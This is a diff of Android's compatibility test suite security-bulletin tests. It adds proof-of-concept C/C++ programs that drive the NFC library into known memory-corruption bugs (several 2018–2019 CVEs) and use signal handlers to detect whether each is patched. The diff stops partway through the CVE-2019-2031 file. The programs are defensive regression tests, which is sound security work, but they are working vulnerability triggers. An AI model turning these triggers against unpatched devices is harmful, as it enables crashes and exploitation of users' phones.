--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -983,6 +983,17 @@
}
/**
+ * Tests that all types in /sys/fs/bpf have the bpffs_type attribute.
+ *
+ * @throws Exception
+ */
+ @Test
+ public void testBpffsTypeViolators() throws Exception {
+ assertSepolicyTests("TestBpffsTypeViolations", "/sepolicy_tests",
+ PropertyUtil.isVendorApiLevelNewerThan(mDevice, 33) /* includeVendorSepolicy */);
+ }
+
+ /**
* Tests that all types in /proc have the proc_type attribute.
*
* @throws Exception
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7..7770ebd 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@
],
// Must match the package name in CtsTestCaseList.mk
libs: [
- "cts-tradefed",
- "tradefed",
"compatibility-host-util",
+ "cts-tradefed",
+ "sts-host-util",
+ "tradefed",
],
}
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 0000000..d03c246
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
deleted file mode 100644
index f8d64e2c..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0481.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 0000000..21f7d24
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39804.heif b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
new file mode 100644
index 0000000..1f95af0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 78dcfcf..dedbaf9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -159,7 +159,7 @@
return NULL;
}
-int main() {
+int main(void) {
int i, ret;
time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
index d222a72..4f91d41 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
@@ -41,7 +41,7 @@
struct nvif_ioctl_v0 s_nvif;
-int main() {
+int main(void) {
int ret;
dev_fd = open(DEV, O_RDONLY);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
index 5ed3e9b..c911439 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
@@ -181,7 +181,7 @@
ioctl(g_ion_fd, ION_IOC_FREE, ¶);
}
-int main() {
+int main(void) {
if (open_driver() < 0) {
return -1;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f2..8494e2c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -23,6 +23,16 @@
#define INITIAL_VALUE 0xBE
#define NUM_BYTES 1
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t *p_data);
@@ -33,18 +43,32 @@
}
int main() {
- tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
- rw_init();
- rw_cb.p_cback = &poc_cback;
- p_t2t->state = RW_T2T_STATE_DETECT_TLV;
- p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
- p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
- p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
- p_t2t->bytes_count = NUM_BYTES;
- p_t2t->tlv_value[1] = UINT8_MAX;
- uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
- memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
- uint8_t data[T2T_READ_DATA_LEN];
- rw_t2t_handle_rsp(data);
- return EXIT_SUCCESS;
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = NUM_BYTES;
+ p_t2t->tlv_value[1] = UINT8_MAX;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+ memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+ uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
+ rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
+ return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
index bcbf54f..78f51bd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -20,7 +20,23 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2019-2012",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 0000000..97556ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ if (ptr) {
+ memset(ptr, 0x0, size);
+ }
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+enum {
+ P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void) event;
+ (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = { };
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+ GKI_init();
+ rw_init();
+
+ rw_cb.p_cback = &poc_cback;
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+ p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+ p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+ uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+ p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
index bcbf54f..5dac7f7a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2019-2017",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
new file mode 100644
index 0000000..9ecc457
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+uint8_t *p_data = nullptr;
+extern tRW_CB rw_cb;
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void poc_cback(uint8_t, tRW_DATA *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = 0;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ rw_cb.p_cback = &poc_cback;
+ p_data = (uint8_t *)malloc(sizeof(uint8_t));
+ FAIL_CHECK(p_data);
+
+ testInProgress = true;
+ rw_t2t_handle_rsp(p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
index bcbf54f..5fdbfdb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2019-2020",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
new file mode 100644
index 0000000..ba4d950
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#include <llcp_int.h>
+
+#define DEFAULT_SAP 1
+#define LENGTH 0
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tLLCP_CB llcp_cb;
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+
+void GKI_freebuf(void* x) { (void)x; }
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+int32_t main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ GKI_init();
+ llcp_init();
+ for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) {
+ llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED;
+ llcp_cb.dlcb[n].local_sap = DEFAULT_SAP;
+ llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP;
+ }
+
+ testInProgress = true;
+ llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH,
+ nullptr);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
new file mode 100644
index 0000000..639ca91
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2031",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ "liblog",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ "system/nfc/src/nfa/include",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
new file mode 100644
index 0000000..1781237
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ memset(ptr, 0x0, size);
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED,
+ RW_T3T_STATE_IDLE,
+ RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void GKI_freebuf(void *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+
+ GKI_init();
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
+ NFC_STATUS_OK)
+
+ p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
